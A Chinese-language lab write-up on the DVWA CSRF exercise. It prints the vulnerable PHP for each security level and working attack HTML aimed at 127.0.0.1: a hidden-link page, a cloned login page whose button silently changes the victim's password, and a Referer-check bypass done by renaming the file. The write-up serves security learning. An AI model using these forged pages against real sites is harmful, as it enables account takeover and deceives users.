本文主要是介绍dvwa(4)——CSRF(跨站请求伪造),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
1. 前言
1.1 什么是CSRF(跨站请求伪造)
CSRF(Cross—site request forgery),跨站请求伪造,是指利用受害者未失效的身份认证信息(cookie,会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下,以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账,改密等)。
1.2 CSRF与XSS的区别
- CSRF属于业务逻辑漏洞,在服务器看来,所有的请求都是合法正常的;
- XSS,SQL注入等等都是属于技术漏洞;
- XSS:客户信任服务器,XSS 利用的是用户对指定网站的信任
- CSRF:服务器信任客户(经过身份认证的),CSRF 利用的是网站对用户网页浏览器的信任
1.3 CSRF攻击成功的前提
- 用户必须登录;
- 黑客必须懂得一些发包的请求;
- 服务器端不会有二次认证;
- 被害者是不知情的;
1.4 图例解释
说明
- 用户首先登录服务器;
- 服务器返回cookie;
- 然后hacker将可以修改用户密码的URL发给用户;
- 用户如果点击了该URL,则密码就会被更改(如果没有点击,则密码不会被修改,但密码是否被更改hacker是不知道的);
- 最后,黑客使用用户的用户名和密码尝试进行登录服务器;如果成功,则证明用户点过url,如果没有登录成功,则用户没有点击url;
2. 各等级测试
2.1 low
2.1.1 核心代码
<?phpif( isset( $_GET[ 'Change' ] ) ) {// Get input$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>
说明
- 从源码中可以看到,mysqli_real_escape_string()函数去转义一些字符,密码中不能包含SQL中的特殊字符;
- 服务器收到修改密码的请求后,会检查参数pass_new与pass_conf是否相同,如果相同,则会更新数据库,修改密码,并没有任何的防CSRF机制(用户已经登录服务器)。
2.1.2 尝试攻击
本地简单攻击
- 登录dvwaa
- 修改密码,并抓取调用接口
a. 密码和确认密码不一致
修改密码的URL:
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=789&password_conf=123456&Change=Change
b. 两次密码一致
当用户登录之后的cookie还没有失效,我们直接用浏览器访问, 就会发现密码已经被更改了
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change
远程访问
把构造的带有修改密码的url发送给目标用户,目标用户访问之后,密码就会被修改
如果修改密码的链接过于明显,可以使用一些缩短链接的方法;
构造攻击链接
- 通过img标签中的src属性来加载CSRF攻击利用的URL,并进行布局隐藏,实现了受害者点击链接则会将密码修改。
将test.html文件放在攻击者自己准备的网站上 - 当受害者正在使用自己的网站(浏览器中还保存着session值)时,访问攻击者诱惑点击test.html 误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击
例如:
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF测试</title>
</head>
<body>
<a href="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=password1&password_conf=password1&Change=Change">更多详情</a>
</body>
</html>
访问链接后密码就会被修改
构造攻击页面
- 复制访问http://127.0.0.1/dvwa/login.php的html, 伪造用户信任的页面
html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Login :: Damn Vulnerable Web Application (DVWA) v1.10*Development*</title><link rel="stylesheet" type="text/css" href="dvwa/css/login.css" />
<script>function displayDate() {window.open("http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=password1&password_conf=password1&Change=Change", "_self");window.location="http://127.0.0.1/dvwa";}
</script>
</head><body><div id="wrapper"><div id="header"><br /><p><img src="dvwa/images/login_logo.png" /></p><br /></div><!--<div id="header">--><div id="content"><form action="login.php" method="post"><fieldset><label for="user">Username</label> <input type="text"class="loginInput" size="20" name="username"><br /> <labelfor="pass">Password</label> <input type="password"class="loginInput" AUTOCOMPLETE="off" size="20" name="password"><br /><br /><button type="button" id="Loginbtn" onclick="displayDate()">Login</button></fieldset><input type='hidden' name='user_token'value='2d505dae0df10669f50ad0f498af9696' /></form><br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /><!-- <img src="dvwa/images/RandomStorm.png" /> --></div><!--<div id="content">--><div id="footer"><p><a href="http://www.dvwa.co.uk/" target="_blank">Damn VulnerableWeb Application (DVWA)</a></p></div><!--<div id="footer"> --></div><!--<div id="wrapper"> --></body></html>
修改部分:
//1.访问修改URL,并欺骗用户
<script>function displayDate() {//不打开新的创建访问修改密码的页面window.open("http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=password1&password_conf=password1&Change=Change", "_self");//重定向到登录页面window.location="http://127.0.0.1/dvwa";}
</script>
//2. 给登录按钮绑定点击函数
<button type="button" id="Loginbtn" onclick="displayDate()">Login</button>
2. 点击登录按钮,密码一斤被更改,但是用户还浑然不知
2.2 Medium
2.2.1 核心代码
<?phpif( isset( $_GET[ 'Change' ] ) ) {// Checks to see where the request came fromif( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {// Get input$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}}else {// Didn't come from a trusted sourceecho "<pre>That request didn't look correct.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>
说明:
Medium级别的代码使用 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,即要求本地登录),希望通过这种机制抵御CSRF攻击。
过滤规则是http包头的Referer参数的值中必须包含主机名127.0.0.1, 只能本地登录,此时可以把之前的test.html文件,我们重命名为127.0.0.1.html来达到绕过的目的。
2.3 High
2.3.1 核心代码
<?phpif( isset( $_GET[ 'Change' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}// Generate Anti-CSRF token
generateSessionToken();?>
说明
High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
2.4 Impossible
2.4.1 核心代码
<?phpif( isset( $_GET[ 'Change' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$pass_curr = $_GET[ 'password_current' ];$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Sanitise current password input$pass_curr = stripslashes( $pass_curr );$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_curr = md5( $pass_curr );// Check that the current password is correct$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );$data->execute();// Do both new passwords match and does the current password match the user?if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {// It does!$pass_new = stripslashes( $pass_new );$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database with new password$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->execute();// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match or current password incorrect.</pre>";}
}// Generate Anti-CSRF token
generateSessionToken();?>
说明
Impossible级别的代码利用PDO技术防御SQL注入;
对于防护CSRF,则要求用户输入原始密码,攻击者在不知道原始密码的情况下,无法进行CSRF攻击;
这篇关于dvwa(4)——CSRF(跨站请求伪造)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!